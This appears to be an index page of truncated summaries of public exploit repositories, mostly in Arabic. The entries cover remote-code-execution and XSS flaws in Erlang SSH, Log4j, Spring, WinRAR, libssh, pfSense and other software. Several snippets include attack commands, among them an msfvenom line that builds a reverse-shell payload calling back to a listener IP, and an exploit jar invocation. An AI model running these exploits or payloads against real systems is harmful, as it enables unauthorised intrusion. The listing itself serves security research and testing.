CVE-2025-32433

CVE-2025-32433 ثغرة أمنية حرجة في خادم SSH الخاص بـ Erlang/OTP تسمح بتنفيذ تعليمات برمجية عن بُعد RCE دون مصادقة. يكمن الخلل في آلية معالجة رسائل بروتوكول SSH، مما يمكّن المهاجمين من تنفيذ أوامر عشوائية دون الحاجة إلى بيانات اعتماد للمصادقة. التأثير ثغرة أمنية بالغة الخطورة تتيح للمهاجمين إمكانية...

CVE-2023-33246

CVE-2023-33246 Apache RocketMQ ثغرة تنفيذ التعليمات البرمجية عن بعد CVE-2023-33246 استغلال طريقة الاستخدام: root@kitploit: java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "open -a Calculator" ميزات هذه الأداة نظرًا لأن آلية دقات القلب تؤدي إلى تشغيل الثغرة كل 30 ثانية، فإن الأداة تتأخر لم...

CVE-2022-24637

CVE-2022-24637 استغلال الثغرة RCE غير المصادق عليها في Open Web Analytics OWA 1.7.3. هذا العمل مبني على https://devel0pment.de/?p=2494. إخلاء مسؤولية: تم إنشاء هذا النص البرمجي لتدقيق أمن الأنظمة. استخدم هذا النص البرمجي فقط على أنظمتك الخاصة أو على الأنظمة التي لديك إذن كتابي لاستغلالها...

CVE-2022-0848-RCE

CVE-2022-0848 تنفيذ التعليمات البرمجية عن بعد RCE في part-db 0.5.11 قم بتغيير المضيف في ملف bash وقم بتشغيله، ثم احصل على شيل عبر RCE...

CVE-2024-46538

شكرًا لـphysicszq، الذي اكتشف هذه الثغرة. CVE-2024-46538 ★ CVE-2024-46538 ثغرة XSS مخزنة في PfSense تؤدي إلى تنفيذ تعليمات برمجية تعسفية PoC ★ الوصف CVE-2024-46538 : ثغرة XSS مخزنة في PfSense الوصف: ثغرة برمجة نصية عبر المواقع XSS في pfsense الإصدار 2.5.2 تسمح للمهاجمين بتنفيذ نصوص برمجية أو HTML...

CVE-2020-15227

CVE-2020-15227 إخلاء مسؤولية! لا أتحمل أي مسؤولية عن استخدام هذه الأداة في بيئة حية، لذا يُرجى عدم القيام بذلك. هذا الشيء هو فقط للتوضيح ولاختبار الأشياء من قبل مدراء الأنظمة. لقد صنعت هذا الاستغلال وفقًا لنشر ثغرة CVE من ديفيد غرودل مؤسس مؤسسة Nette. كباحث أمني، قمت بتطوير وحش صغير لأغراض تعليمي...

CVE-2022-30024

CVE-2022-30024 استغلال rce لـ Tplink wr841 v10 ⚠️ إخلاء المسؤولية الكود الموجود في هذا المستودع مُقدَّم كما هو لأغراض البحث الأمني التعليمي والدفاعي فقط. استخدمه فقط على الأنظمة التي تملكها أو التي لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر أو انتهاكات قانونية ناجمة عن هذ...

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947 개요 Spring Cloud Gateway 원격 코드 실행 취약점CVE-2022-22947은 Spring Cloud Gateway 애플리케이션의 Actuator 엔드포인트에서 발생하며, 활성화되어 있고 공개되어 있으며 안전하지 않은 경우 코드 주입 공격에 취약합니다. 공격자는 이 취약점을 통해 원격 호스트에서 임의의 원격 실행을 허용하는 요청을 악의적으로 생성할 수 있습니다. 영향 받는 버전 root@kitploit: Spring Cloud Gateway 3.1.x 3.1....

SnatchBox

SnatchBox SnatchBox CVE-2020-27935 est une vulnérabilité d'évasion de la sandbox affectant macOS jusqu'à la version 10.15, ainsi que les premières versions bêta de macOS 11.0. L'impact le plus significatif de SnatchBox est qu'il permet à un éditeur malveillant de s'échapper de la sandbox non...

CVE-2023-4220-Proof-of-concept

CVE-2023-4220-Proof-of-concept ثغرة رفع ملفات كبيرة غير مصادق عليها في Chamilo LMS تسمح بتنفيذ الأوامر عن بُعد الكود مُعدّ ومُستخدم من أجل HACKTHEBOX CTF PERMX رفع ملفات غير مصادق عليه في وظيفة رفع الملفات الكبيرة في /main/inc/lib/javascript/bigupload/inc/bigUpload.php في Chamilo LMS كود شيل PHP...

CVE-2018-20250

الإعداد فيديو توضيحي: https://youtu.be/5tuWsi1tGS0 جهاز VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit خطوات التنفيذ Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows:...

LibSSH-exploit

LibSSH-exploit CVE-2018-10933 خوادم ssh المعرضة للخطر - libssh قبل الإصدار 0.8.4 يرسل رسالة تفويض المستخدم التي تسمح بتنفيذ الأوامر عن بُعد RCE الاستخدام: ''' Libsshexploit.py '''...

CVE-2025-55182-React2Shell-RCE

CVE-2025-55182 - React2Shell RCE بدون مصادقة في React Server Components تُعد CVE-2025-55182، المعروفة أيضًا باسم React2Shell ، ثغرة تنفيذ تعليمات برمجية عن بُعد RCE بدون مصادقة حرجة تؤثر على حزم React Server Components الإصدارات 19.0 و19.1.0 و19.1.1 و19.2.0. قد تسمح هذه الثغرة للمهاجمين بتحقيق...

CVE-2021-44228-example

Ceci est un exemple d'exploitation de CVE-2021-44228 Une vulnérabilité RCE de Log4J2 Je ne suis pas responsable de ce code. SVP ne l'utilisez pas à des fins malveillantes CVE-2021-44228 : Cette vulnérabilité vous permet d'exécuter du code arbitraire en journalisant un message malveillant sur la...

Flowise-CVE-2026-58057-exploit

Flowise CVE-2026-58057 - استغلال تنفيذ الأوامر عن بُعد على ويندوز -orange?style=for-the-b...

CVE-2022-22963-PoC

CVE-2022-22963 RCE PoC مثال بسيط لإعادة إنتاج تنفيذ التعليمات البرمجية عن بُعد RCE في CVE-2022-22963 عبر org.springframework.cloud:spring-cloud-function-core. الاستغلال تشغيل الخادم root@kitploit: mvn spring-boot:run إرسال طلب root@kitploit: curl -X POST -H...

CVE-2020-27955-LFS

Git-lfs Remote Code Execution RCE exploit CVE-2020-27955 .bat / powershell version Vulnérable : git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken etc. Découvert par Dawid Golunski https://legalhackers.com https://exploitbox.io Testé sous Windows sur : git,...

Assignement_3-CVE-2017-7269

CVE-2017-7269 الاسم: Killian Munt-Buron و Naji Ullah Abbasi وصف الثغرة CVE-2017-7269 هي ثغرة تجاوز سعة المخزن المؤقت buffer overflow في نظام Microsoft Windows Server 2003 R2. توجد الثغرة في دالة ScStoragePathFromUrl في WebDAV. تسمح هذه الثغرة بتنفيذ كود تعسفي عبر ترويسة header طويلة. تبدأ الترويس...

CVE-2022-22965-PoC

CVE-2022-22965 إثبات المفهوم مثال بسيط لكيفية إعادة إنتاج ثغرة CVE-2022-22965 Spring RCE. التشغيل باستخدام docker compose 1. ابنِ التطبيق باستخدام Docker compose root@kitploit: docker-compose up --build 2. لاختبار التطبيق، تصفح إلى http://localhost:8080/handling-form-submission-complete/greeting ...

cve-2024-4577

سكربت اختبار الثغرة CVE-2024-4577 هذا السكربت بلغة Python هو أداة PoC Proof of Concept بسيطة لتشخيص الثغرة الأمنية الأخيرة في PHP CVE-2024-4577. ⚠️ هذه الأداة مقدمة لأغراض التشخيص الأمني فقط، ويجب استخدامها فقط على الأنظمة التي تملكها أو على الأهداف المصرح بها مسبقًا. 📌 نظرة عامة تتيح هذه الثغرة،...